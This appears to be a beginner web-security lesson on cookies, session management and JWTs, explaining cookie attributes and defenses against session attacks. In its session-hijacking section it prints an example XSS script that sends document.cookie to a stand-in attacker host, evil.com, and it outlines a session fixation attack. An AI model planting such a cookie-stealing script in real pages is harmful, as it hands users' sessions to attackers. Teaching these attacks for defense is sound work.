Cookies and Session Management

beginner25 minWriteup

Learn how web applications maintain state and authenticate users through cookies and sessions

Learning Objectives

  • Understand how cookies work and their attributes
  • Learn about session management mechanisms
  • Identify common session vulnerabilities
  • Understand secure cookie flags (HttpOnly, Secure, SameSite)

The Amnesia Problem

Remember how we said HTTP is "stateless"? Let me paint you a picture of what that actually means:

Imagine going to your favorite coffee shop. You walk in, order a latte, and the barista makes it perfectly. You sit down, enjoy it, and then go back for a refill. But when you reach the counter, the barista looks at you like you're a complete stranger.

"Hi, welcome! What can I get you?"

"Um, I was just here 30 seconds ago. I'd like a refill."

"I'm sorry, who are you? Have we met?"

That's HTTP. Every single request is completely independent. The server has no memory of you between requests. Without cookies and sessions, you'd have to log in again every time you clicked a link. Every. Single. Click.

Why Stateless?

HTTP was designed stateless for simplicity and scalability. It's easier to build servers that don't need to remember millions of users. The "memory" was offloaded to... you. Your browser. Through cookies.

What Are Cookies?

Cookies are small pieces of text data that websites store in your browser. When you make a request, your browser automatically sends the relevant cookies back to the server. It's like the server giving you a name tag, and you showing it every time you come back.

How Cookies Work

Cookie Flow

You visit a website for the first timeServer responds with Set-Cookie header: 'Set-Cookie: user_id=12345'Your browser saves this cookieOn every future request to this site, browser sends: 'Cookie: user_id=12345'Server sees the cookie and knows it's you

Setting a Cookie (Server Side)

HTTP Response
1HTTP/1.1 200 OK
2Set-Cookie: session_id=abc123xyz
3Set-Cookie: username=alice
4Set-Cookie: theme=dark
5Content-Type: text/html
6 
7<html>Welcome back!</html>

Sending Cookies (Browser Side)

HTTP Request
1GET /dashboard HTTP/1.1
2Host: example.com
3Cookie: session_id=abc123xyz; username=alice; theme=dark
Notice how multiple cookies are sent in ONE Cookie header, separated by semicolons. But the server sets them with MULTIPLE Set-Cookie headers. This inconsistency trips up many developers.

Cookies aren't just name=value pairs. They come with attributes that control their behavior. Understanding these is crucial for security.

http
1Set-Cookie: session=abc123;
2 Domain=example.com;
3 Path=/;
4 Expires=Wed, 01 Jan 2025 00:00:00 GMT;
5 Secure;
6 HttpOnly;
7 SameSite=Strict

Let's Break Down Each Attribute

Domain

Which domains can receive this cookie. If set to .example.com, all subdomains (api.example.com, blog.example.com) also get it.

⚠️ Security risk: Subdomain takeover can steal cookies for the whole domain!

Path

Which paths can access the cookie. Path=/admin means only requests to /admin/* will include this cookie.

Commonly set to "/" to include cookie on all paths.

Expires / Max-Age

When the cookie dies. No expiration = "session cookie" (deleted when browser closes).Max-Age=3600 = cookie lives for 1 hour.

Persistent cookies survive browser restarts.

🔒 Secure

Cookie only sent over HTTPS. Without this, attackers on the same network can intercept your session!

✓ ALWAYS use for session cookies

🔒 HttpOnly

JavaScript cannot access this cookie. Prevents XSS attacks from stealing your session via document.cookie.

✓ ALWAYS use for session cookies

🔒 SameSite

Controls when cookies are sent with cross-site requests. Prevents CSRF attacks!

  • Strict - Never sent cross-site (most secure)
  • Lax - Sent on top-level navigation (default in modern browsers)
  • None - Always sent (requires Secure flag)
Missing Security Attributes = Vulnerable!
A session cookie without HttpOnly can be stolen via XSS.
A session cookie without Secure can be intercepted on public WiFi.
A session cookie without SameSite can be abused for CSRF.

Sessions: The Server's Memory

So we've established that cookies let the browser remember things. But storing sensitive data IN the cookie itself is dangerous - users can read and modify cookies!

Enter sessions. Instead of storing "user=admin, role=superuser" directly in the cookie, the server:

  1. Creates a random, meaningless session ID (like "x7k2m9n3p5")
  2. Stores your actual data on the server, linked to that ID
  3. Gives you just the ID in a cookie

❌ Bad: Data in Cookie

1Cookie:
2 user=admin;
3 role=superuser;
4 email=admin@site.com

User can change "role=superuser"!

✓ Good: Session ID Only

1Cookie:
2 session_id=x7k2m9n3p5q8r1

Server looks up "x7k2m9n3p5q8r1" to find user data

Server-Side Session Storage

session_store.js
1606070;">// On the server, sessions might look like this:
2const sessions = {
3 606070;">#a5d6ff;">"x7k2m9n3p5q8r1": {
4 user_id: 42,
5 username: 606070;">#a5d6ff;">"alice",
6 role: 606070;">#a5d6ff;">"admin",
7 login_time: 606070;">#a5d6ff;">"2025-01-01T12:00:00Z",
8 ip_address: 606070;">#a5d6ff;">"192.168.1.1"
9 },
10 606070;">#a5d6ff;">"a3b5c7d9e1f2g3": {
11 user_id: 17,
12 username: 606070;">#a5d6ff;">"bob",
13 role: 606070;">#a5d6ff;">"user",
14 login_time: 606070;">#a5d6ff;">"2025-01-01T14:30:00Z",
15 ip_address: 606070;">#a5d6ff;">"10.0.0.5"
16 }
17};
18 
19606070;">// When a request comes in with session_id=x7k2m9n3p5q8r1
20606070;">// Server looks it up and knows: "Ah, this is Alice, and she's an admin"
Sessions can be stored in memory (fast but lost on restart), files, databases (MySQL, PostgreSQL), or dedicated stores (Redis, Memcached). Large sites use Redis for speed.

Attacking Sessions: The Hacker's Perspective

As a security professional (or aspiring one), you need to understand how attackers target sessions. If you can steal or forge a session, you become that user.

1. Session Hijacking

Steal the session cookie = become the user. Methods include:

  • XSS (Cross-Site Scripting): Inject JavaScript to steal document.cookie
  • Network sniffing: Intercept cookies over HTTP (not HTTPS)
  • Physical access: Copy cookies from browser storage
  • Malware: Keyloggers or cookie stealers
XSS Cookie Theft
1606070;">// If HttpOnly is NOT set, XSS can steal session:
2<script>
3 new Image().src = 606070;">#a5d6ff;">"https://evil.com/steal?cookie=" + document.cookie;
4</script>
5 
6606070;">// User's session is now sent to attacker's server!

2. Session Fixation

Instead of stealing a session, the attacker gives you THEIR session ID. When you log in, you're actually logging into their session.

Session Fixation Attack

Attacker gets a valid session ID from target site (e.g., sess=EVIL123)Attacker tricks victim into using this session IDVictim logs into the site with sess=EVIL123Now sess=EVIL123 is authenticated as victimAttacker uses sess=EVIL123 and they're logged in as victim!
Defense: Always regenerate the session ID after login! The old session ID should become invalid.

3. Brute-Forcing Session IDs

If session IDs are predictable or short, attackers can guess them.

1Bad session IDs:
2- user_1, user_2, user_3 → Sequential! Easy to guess others
3- 12345, 12346, 12347 → Predictable
4- a1b2, a1b3, a1b4 → Short and predictable
5 
6Good session IDs:
7- x7Fk2mN9pQr3sT5vW8yZ0aB4cD6eH → Long and random
8- A5df829c-7e31-4a9b-b2c8-9f0d1e2a3b4c → UUID format
A session ID with only 4 lowercase letters has 456,976 possibilities. At 1000 requests/second, that's cracked in under 8 minutes! Use at least 128 bits of randomness.

JWTs: Cookies' Stateless Cousin

JSON Web Tokens (JWTs) are an alternative to server-side sessions. Instead of storing session data on the server, ALL the data is in the token itself.

JWT Structure

A JWT has three parts, separated by dots:

1eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo0MiwidXNlcm5hbWUiOiJhbGljZSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcwNDExMDQwMCwiZXhwIjoxNzA0MTE0MDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
2 
3Header.Payload.Signature
4 
5Header (base64): {606070;">#a5d6ff;">"alg":"HS256","typ":"JWT"}
6Payload (base64): {606070;">#a5d6ff;">"user_id":42,"username":"alice","role":"admin","iat":1704110400,"exp":1704114000}
7Signature: HMAC(header + 606070;">#a5d6ff;">"." + payload, secret_key)
JWTs are NOT encrypted! The payload is just base64-encoded, which is easily decoded. Anyone can read your JWT contents. The signature only proves it hasn't been tampered with.

JWT vs Server Sessions

AspectServer SessionsJWTs
StorageServer stores dataClient stores data
RevocationEasy - delete sessionHard - can't invalidate until expiry
ScalabilityNeeds shared storageStateless, scales easily
SizeSmall session IDLarge (all data in token)

Viewing and Modifying Cookies

As a security tester, you'll constantly need to view and modify cookies. Here's how:

Browser DevTools

Chrome DevTools Cookie Inspection

Press F12 or Ctrl+Shift+IGo to Application tabIn left sidebar, expand 'Cookies'Click on the domainView all cookies with their attributesDouble-click any value to edit it

JavaScript (If HttpOnly is NOT set)

javascript
1606070;">// View all cookies
2console.log(document.cookie);
3606070;">// Output: "session=abc123; theme=dark; username=alice"
4 
5606070;">// Set a new cookie
6document.cookie = 606070;">#a5d6ff;">"test=value; path=/";
7 
8606070;">// Delete a cookie (set expiry in the past)
9document.cookie = 606070;">#a5d6ff;">"test=; expires=Thu, 01 Jan 1970 00:00:00 GMT";

cURL

bash
1606070;"># Send a request with a specific cookie
2curl -b 606070;">#a5d6ff;">"session=abc123" https://example.com/dashboard
3 
4606070;"># Save cookies from response to a file
5curl -c cookies.txt https:606070;">//example.com/login
6 
7606070;"># Use cookies from a file
8curl -b cookies.txt https:606070;">//example.com/dashboard

Burp Suite

Burp automatically tracks cookies and lets you modify them in the Repeater. It also has a dedicated "Options > Sessions" tab for complex session handling.

Test Your Knowledge

Quick Quiz
Question 1 of 5

Why do we need cookies for web authentication?

Hands-On Challenge

Spot the Cookie Vulnerabilities

Challenge
🔥 medium

Analyze this Set-Cookie header and identify ALL the security issues. There are at least 4 problems!

http
1Set-Cookie: session_id=abc123; Domain=.example.com; Path=/; Expires=Wed, 01 Jan 2035 00:00:00 GMT

Need a hint? (4 available)

Interactive Practice

Cookie Decoder
text

Given this Set-Cookie header, identify the cookie name and its value. Write your answer as 'name=value'.

Key Takeaways

  • HTTP is stateless - cookies provide memory between requests
  • Session IDs in cookies point to server-side data (more secure than storing data in cookies)
  • ALWAYS use HttpOnly to prevent XSS cookie theft
  • ALWAYS use Secure to prevent interception over HTTP
  • Use SameSite=Strict or Lax to prevent CSRF attacks
  • Regenerate session IDs after login to prevent session fixation
  • Session IDs must be long, random, and unpredictable
  • JWTs are stateless alternatives but have their own security considerations

Continue Learning